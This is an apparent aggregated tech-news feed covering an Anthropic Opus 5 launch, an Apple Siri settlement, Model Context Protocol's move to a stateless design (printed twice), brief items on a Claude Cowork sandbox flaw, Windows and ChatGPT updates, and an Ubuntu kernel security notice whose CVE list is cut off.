The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."
The business stakes behind the launch: a $380 billion valuation and massive compute bets
The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.
That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.
The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.
Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.
Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.




Apple’s $250 Million Siri Settlement Approved, iPhone Users Could Get Up to $95
Fri, 24 Jul 2026 19:20:12 +0200
Apple’s $250 million settlement over the delayed launch of its new Siri features has received preliminary court approval, bringing eligible iPhone owners closer to a possible payout of up to $95. The settlement website has not launched yet, so customers do not need to submit any forms or take action at this stage.



The lawsuit followed Apple’s decision to delay several Siri features that it had promoted alongside Apple Intelligence in June 2024. These features included personal context awareness, on-screen understanding, and deeper controls inside supported apps.



Apple used product presentations, its website, and a television advertisement featuring Bella Ramsey to promote the new Siri experience. However, the company delayed the personalised Siri upgrade in March 2025, which led customers to file a class action lawsuit over alleged false advertising.



Who qualifies for the Apple Siri settlement?



Eligible users must live in the United States and must have purchased one of the following iPhone models between June 10, 2024, and March 29, 2025:




iPhone 15 Pro



iPhone 15 Pro Max



iPhone 16



iPhone 16e



iPhone 16 Plus



iPhone 16 Pro



iPhone 16 Pro Max




Customers will likely need to provide purchase details, a serial number, or other device information when submitting a claim. The final requirements will appear on the official settlement website once it goes live.



Each approved claim will receive an estimated payment of $25 per eligible device. However, the payout can rise to as much as $95 if fewer people submit valid claims than expected.



According to the July 17 court document, eligible customers should receive email notices within about 45 days of preliminary approval. Customers who do not receive an email can still submit a claim if they meet the eligibility requirements.



Apple announced its revamped Siri system at WWDC 2026, and the assistant is now available through the iOS 27 developer beta. Apple plans to release iOS 27 publicly in September for the iPhone 15 Pro and newer models.


Windows-11-Update: Copilot-Taste lässt bald Funktion deaktivieren
Fri, 24 Jul 2026 18:18:02 +0200

			Microsoft testet für Windows 11 eine Funktion, mit der Anwender die Copilot-Taste deaktivieren können. Seit 2024 werden neue Computer standardmäßig mit dem KI-Knopf ausgeliefert. An dieser Vorgabe hält das Unternehmen auch 2026 fest.			(Weiter lesen)


Model Context Protocol is going stateless to make scaling simpler
Fri, 24 Jul 2026 17:40:37 +0200

					  
						




Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.



“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.



“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.



Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.



“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.



This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.



Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.



It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.



MCP’s new features



Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.



Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.



Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.



They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.



MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.



Rebuilding the trust boundary



The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.



The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.



“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”



The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”



Updated MCP SDKs



To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.



That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.



Identifying and auditing those session dependencies may not be easy, Jena warned.



“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.



Model Context Protocol is going stateless to make scaling simpler
Fri, 24 Jul 2026 17:38:35 +0200

		
					  
						




Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.



“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.



“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.



Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.



“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.



This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.



Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.



It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.



MCP’s new features



Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.



Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.



Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.



They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.



MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.



Rebuilding the trust boundary



The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.



The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.



“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”



The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”



Updated MCP SDKs



To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.



That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.



Identifying and auditing those session dependencies may not be easy, Jena warned.



“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.



This article first appeared on InfoWorld.



Sandbox-Escape in Claude Cowork gefährdet Mac-Dateien
Fri, 24 Jul 2026 16:52:40 +0200

    Sicherheitsforscher haben eine Schwachstelle in Claudes Cowork-Anwendung entdeckt. Der Fehler erlaubt das Ausbrechen aus der virtuellen Maschine.

Tags: #Claude | #Cyber Security | #Künstliche Intelligenz


World of Warcraft: Admin nutzt Cheat für Freunde - Fristlose Kündigung
Fri, 24 Jul 2026 16:04:36 +0200

			In World of Warcraft (WoW) hat ein Game Master seine weitreichenden Rechte missbraucht, um Freunden in einem anspruchsvollen Dungeon einen unfairen Vorteil zu verschaffen. Der Vorfall flog auf und zog nun drastische Konsequenzen nach sich.			(Weiter lesen)


OpenAI’s new voice mode makes it to the ChatGPT desktop app
Fri, 24 Jul 2026 15:57:02 +0200
ChatGPT Voice on desktop can work with both ChatGPT Work and Codex to complete tasks and control agents.


USN-8575-3: Linux kernel vulnerabilities
Fri, 24 Jul 2026 14:17:35 +0200
Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
